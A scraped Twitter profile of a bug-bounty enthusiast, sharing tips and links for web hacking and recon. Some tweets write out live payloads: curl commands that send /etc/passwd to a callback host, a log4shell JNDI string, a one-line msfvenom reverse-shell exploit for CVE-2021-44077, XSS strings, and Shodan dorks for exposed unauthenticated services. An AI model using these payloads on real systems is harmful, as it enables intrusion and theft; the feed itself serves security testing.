Dipam (@virtusleo_) header
Dipam (@virtusleo_) profile picture

Dipam

@virtusleo_

Cyber security☣️ Marathoner🏃

Joined February 2020
  • Tweets340
  • Following115
  • Followers164
12Media
Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)Photo by Dipam (@virtusleo_)
SSRF to RCE # Testing `whoami`.collab-url # Reading internal files `curl -F '@/etc/passwd' callback.server`.collab-url # Writing files `echo test | tee /tmp/test`.collab-url `curl -F '@/tmp/test' callback.server`.collab-url #bugbounty #bugbountytips thehackerish.com/bug-bounty-…
13
1
24
How to test your apps for #log4shell vulnerability 1. Generate a DNS token canarytokens.org/generate# 2. Wrap that token in Prefix: ${jndi:ldap:// Suffix: /a} 3. Use that value in search forms, profile data, settings etc. of your apps 4. Get notified when you triggered a reaction
Image from Florian Roth ⚡️ (@cyb3rops)
Image from Florian Roth ⚡️ (@cyb3rops)
Image from Florian Roth ⚡️ (@cyb3rops)
37
1,211
56
3,151
Find log4rce with difference cases on domains & subdomains. ==> Pastebin:pastebin.com/dycVXbL2 #log4jRCE @ADITYASHENDE17 @Assass1nmarcos @Alra3ees @rootxharsh @D0rkerDevil
Image from Tarun mahour (@sratarun)
4
105
4
279
I've added Log4Shell detection to ActiveScan++. Grab v1.0.23 from here: github.com/PortSwigger/activ…
7
280
3
879
PoC for CVE-2021-44077 fits in one line/tweet.
wvu (@wvuuuuuuuuuuuuu) profile picturewvu@wvuuuuuuuuuuuuu8 Dec 2021
Replying to @wvuuuuuuuuuuuuu
PoC: ./msfvenom -p windows/x64/shell_reverse_tcp -f exe lhost=172.16.57.1 | curl -v http://172.16.57.210:8080/RestAPI/ImportTechnicians -F step=hax -F "theFile=@-;filename=msiexec.exe" -: -m 3.5 http://172.16.57.210:8080/RestAPI/s247action -d execute=s247AgentInstallationProcess
23
41
The best article for SQL INJECTION WAF bypass. securityidiots.com/Web-Pente… #bugbountytip
7
75
177
Recon Methods:- Part 1:- redsiege.com/blog/2020/02/re… Part 2:- redsiege.com/blog/2020/02/re… Part 3:- redsiege.com/blog/2020/02/re… Part 4:- redsiege.com/blog/2020/04/re… Part 5:- redsiege.com/blog/2020/04/re…
4
159
289
Bug-Bounty-Wordlists: A repository that includes all the important wordlists used while bug hunting. github.com/Karanxa/Bug-Bount…
GitHub - Karanxa/Bug-Bounty-Wordlists: A repository that includes all the important wordlists used...

GitHub - Karanxa/Bug-Bounty-Wordlists: A repository that includes all the important wordlists used...

A repository that includes all the important wordlists used while bug hunting. - Karanxa/Bug-Bounty-Wordlists

github.com
2
131
1
301
OSINT-Tools :- CC @0xElkot github.com/digitaldisarray/O… github.com/jivoi/awesome-osi… github.com/topics/osint-tool github.com/topics/osint github.com/topics/osint-tool…
GitHub - digitaldisarray/OSINT-Tools: :eyes: Some of my favorite OSINT tools.

GitHub - digitaldisarray/OSINT-Tools: :eyes: Some of my favorite OSINT tools.

:eyes: Some of my favorite OSINT tools. Contribute to digitaldisarray/OSINT-Tools development by creating an account on GitHub.

github.com
37
84
Deep subdomain Enumuration using dnsgen,purends,assesfinder dnsgen: github.com/ProjectAnte/dnsge… puredns: github.com/d3mondev/puredns assestfinder: github.com/tomnomnom/assetfi… @Alra3ees @ADITYASHENDE17 @Assass1nmarcos
Image from Tarun mahour (@sratarun)
2
119
1
244
All you need for Bug-bounty:- Tools,cheat Sheet,checklist. awesomeopensource.com/projec…
2
89
215
Web Attack Cheat Sheet github.com/riramar/Web-Attac… #bugbountytips #bugbounty #infosec
GitHub - riramar/Web-Attack-Cheat-Sheet: Web Attack Cheat Sheet

GitHub - riramar/Web-Attack-Cheat-Sheet: Web Attack Cheat Sheet

Web Attack Cheat Sheet. Contribute to riramar/Web-Attack-Cheat-Sheet development by creating an account on GitHub.

github.com
4
111
1
274
Thanks @sh1yo_ for this amazing tool 🔥 Hidden parameters discovery suite github.com/Sh1Yo/x8 #bugbountytips
GitHub - Sh1Yo/x8: Hidden parameters discovery suite

GitHub - Sh1Yo/x8: Hidden parameters discovery suite

Hidden parameters discovery suite. Contribute to Sh1Yo/x8 development by creating an account on GitHub.

github.com
2
117
287
I have checked every single page of this repo Real world scenarios with proper reference Must give it a look and support author @daffainfo for his excellent work #bugbountytips #infosec #cybersecurity github.com/daffainfo/AllAbou…
GitHub - daffainfo/AllAboutBugBounty: All about bug bounty (bypasses, payloads, and etc)

GitHub - daffainfo/AllAboutBugBounty: All about bug bounty (bypasses, payloads, and etc)

All about bug bounty (bypasses, payloads, and etc) - daffainfo/AllAboutBugBounty

github.com
9
269
4
584
SHODAN Dorks (Part-1) -> "MongoDB Server Information" port:27017 -authentication -> "220" "230 Login successful." port:21 -> x-jenkins 200 -> port:23 console gateway -> http.html:"* The wp-config.php creation script uses this file" -> NCR Port:"161" #bugbountytips #dorks
2
151
2
420
Dipam retweeted
N0t0d4y (@0xJin) profile picture
N0t0d4y@0xJin4 Nov 2021
🛑NEW XSS Bypass Cloudflare🛑 Read: 0xjin.medium.com/new-xss-byp… #bugbounty #bugbountytips #pentester #Pentesting #Hacking #hacker
Will work only with default rules.

ALT Will work only with default rules.

1
110
1
258
𝗡𝗼𝘄 𝗮𝗹𝘀𝗼 𝗳𝗶𝗻𝗱𝘀 𝗹𝗶𝘃𝗲 𝗹𝗼𝗴𝗶𝗻 𝗽𝗼𝗿𝘁𝗮𝗹𝘀 The subdomain enumeration script, which I have been working on, now also finds login portals. 𝗧𝗼𝗼𝗹 𝗟𝗶𝗻𝗸: lnkd.in/gfH2Y_j #bugbounty #bughunting #cybersecurity #security #infosec #informationsecurity
Image from Chintan Gurjar (@iamthefrogy)
3
155
1
407
With the help of google dorks, we can easily find bypasses 1-Normal search:
<wafname> waf bypass 2-Searching for specific version exploits: "<wafname> <version>" (bypass|exploit) 3-For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit)
3
110
2
245
Interesting variations of JS functions call by @0dayWizard alert.call(%20, "XSS"); by @hahwul alert.call(null,1) confirm.call(null,1) prompt.call(null,1) by @XSaadAhmedX alert.apply(null, [1])
1
69
1
195
XSS thats work on any domain JavaScript:https://<YourDomain>#%0aalert('xss')
Image from Qusai Alhaddad (@qusaialhaddad)
38
149
20
638
Load more